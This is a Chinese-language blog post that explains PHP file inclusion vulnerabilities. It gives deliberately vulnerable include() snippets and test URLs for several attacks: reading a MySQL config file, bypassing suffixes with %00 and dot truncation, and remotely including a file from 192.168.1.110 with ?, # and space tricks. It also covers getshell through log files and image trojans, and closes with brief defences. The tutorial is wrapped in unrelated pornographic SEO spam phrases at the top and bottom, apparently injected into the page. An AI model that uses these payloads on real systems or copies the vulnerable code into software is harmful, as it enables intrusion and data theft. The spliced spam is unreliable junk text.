<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12
      Title

      每日一句

      文件包含總結

      一、文件包含漏洞的原理

      1、原理

      網站開發者經常會把一些代碼插入到指定的地方,從而節省之間避免再次編寫 ,這就是包含函數的基礎解釋 ,但是我們不光可以包含我們預先指定的文件,也可以包含我們服務器內部的其他文件,前提條件就是我們需要有可讀的權限才能讀取這些文件 ,所以這樣就會導致文件包含漏洞

      2、產生的原因

      在網站的開發人員在開發網站的時候,會把經常重復使用的函數或者特定的頁面寫到單個文件中,需要使用的時候就直接調用此文件即可,而無需再次浪費時間再次編寫,這種操作通常被稱為文件包含。

      如果我們沒有對文件的來源進行嚴格的審查,也就是程序員在編寫代碼的時候觸犯的邏輯性的錯誤就可能會導致文件讀取漏洞和其它類型的漏洞,我們已php為例,在php中常用的文函數有(include、require、include_once、require_once

      3、PHP文件包含函數

      1)include()

      被包含文件先按參數給出的路徑尋找,如果沒有給出目錄(只有文件名)時則按照 include_path指定的目錄尋找。如果在 include_path下沒找到該文件則 include 最后才在調用腳本文件所在的目錄和當前工作目錄下尋找。如果最后仍未找到文件則 include 結構會發出一條警告;

      注:php開啟錯誤題型需要配置php.ini中disaply_errors為On

      2)Require()

      和 include幾乎完全一樣,除了處理失敗的方式不同之外。require 在出錯時產生 E_COMPILE_ERROR 級別的錯誤。換句話說將導致腳本中止而 include只產生警告(E_WARNING),腳本會繼續運行。

      3)include_once()

      和 include語句類似,唯一區別是如果該文件中已經被包含過,則不會再次包含,且 include_once 會返回 true。 如同此語句名字暗示的那樣,該文件只會包含一次。 include_once 可以用于在腳本執行期間同一個文件有可能被包含超過一次的情況下,想確保它只被包含一次以避免函數重定義,變量重新賦值等問題。

      4)require_once()

      require_once 語句和 require語句完全相同,唯一區別是 PHP 會檢查該文件是否已經被包含過,如果是則不會再次包含。

      4、支持的協議和封裝協議

      文件包含可以使用下面的協議:

      file://協議

      php://協議

      執行任意代碼

      寫入木馬

      封裝協議的局限性:

      測試:讀取源碼

      二、編寫存在文件包含漏洞的代碼

      下面通過編寫幾個簡單的文件包含頁面來演示文件包含漏洞

      1、無過濾本地文件包含

      <?php
          $filename  = $_GET['filename'];
          include($filename);
      ?>

      測試:讀取MySQL配置文件

      http://127.0.0.1/1.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini

      2、有過濾本地文件包含

      有限制本地文件包含漏洞是指代碼中為包含文件制定了特定的前綴或者.php、.html等擴展名,攻擊者需要繞過前綴或者擴展名過濾,才能利用文件包含漏洞讀取操作系統中的其他文件,獲取敏感信息。常見的有限制本地文件包含過濾繞過的方式主要:有%00截斷文件包含、路徑長度截斷文件包含、點號截斷文件包含這三種

      <?php
           $filename  = $_GET['filename'];
           include($filename.”.html”);
      ?>

      繞過測試:

      http://127.0.0.1/1.php?filename=test.txt%00.html

      點號截斷適用于Windows系統,當點號的長度大于256B時,就可以造成擴展名截斷。

      3、遠程文件包含

      <?php
           $filename  = $_GET['filename'];
           include($filename.”.html”);
      ?>

      測試

      問號繞過

      http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?

      #號繞過

      http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#號要編碼)

      空格繞過

      http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url編碼)

      三、通過包含不同的文件getshell

      1、allow_url_include 開啟的情況

      在傳輸過程會對一些特殊字符進行url編碼,所以我們可以利用burp繞過這一步

      2、包含日志文件getshell

      默認安裝的時候是沒有開啟日志記錄功能的也就是不存在 access.log。但是默認存在php error log

      訪問不帶payload的文件

      可以看到有記錄

      同樣burp抓包測試發現getshell

      3、圖片馬getshell

      在文件上傳的時候,

      正常圖片上傳之后,通過文件包含漏洞,把圖片馬的路勁包含進include,則會把圖片馬當作php執行。

      四、遠程文件包含和本地文件包含的區別

      1)本地文件包含主要是包含服務器上的文件

      2)遠程文件包含主要是通過http協議包含其他地方的資源

      3)遠程文件包含比本地文件包含的危害大

      五、如何進行防御

      1)allow_url_fopen=off

      2)allow_url_include=off

      3)過濾./ ../

      4)使用正則或者stristr過濾偽協議

      posted @ 2022-12-03 19:09  江公  閱讀(499)  評論(0)    收藏  舉報
      Title

      每日一句

      主站蜘蛛池模板: 国产精品一区二区香蕉| xxxx丰满少妇高潮| 國產尤物AV尤物在線觀看| 吉川爱美一区二区三区视频| 欧美粗大猛烈老熟妇| 国产偷窥熟女高潮精品视频| 亚洲电影在线观看| 国内精品久久毛片一区二区| 中文字幕亚洲人妻系列| xx性欧美肥妇精品久久久久久| 亚洲综合日韩av在线| 爆乳喷奶水无码正在播放| 国产美女高潮流白浆视频| 使劲快高潮了国语对白在线| 久久青青草原国产精品最新片| 国产午夜三级一区二区三| 90后极品粉嫩小泬20p| 国内精品久久久久影院日本| 久久热这里只有精品66| 亚洲国产韩国欧美在线| 免费无码中文字幕A级毛片| 国产午夜福利高清在线观看| 亚洲综合精品第一页| 精品无套挺进少妇内谢| 久久精品99国产精品日本| 亚洲日韩一区二区| 97国产揄拍国产精品人妻| 国产亚洲精品第一综合另类| 亚洲肥老太bbw中国熟女| 久久国内精品一区二区三区| 日韩幕无线码一区中文| 榆林市| 美日韩精品一区二区三区| 2021亚洲国产精品无码| 99精品国产高清一区二区麻豆| 精品偷自拍另类精品在线| 久9视频这里只有精品| 亚洲国产精品午夜福利| 国产精品无码久久久久AV| 欧美视频在线播放观看免费福利资源 | AI做受???高潮AAAA视频|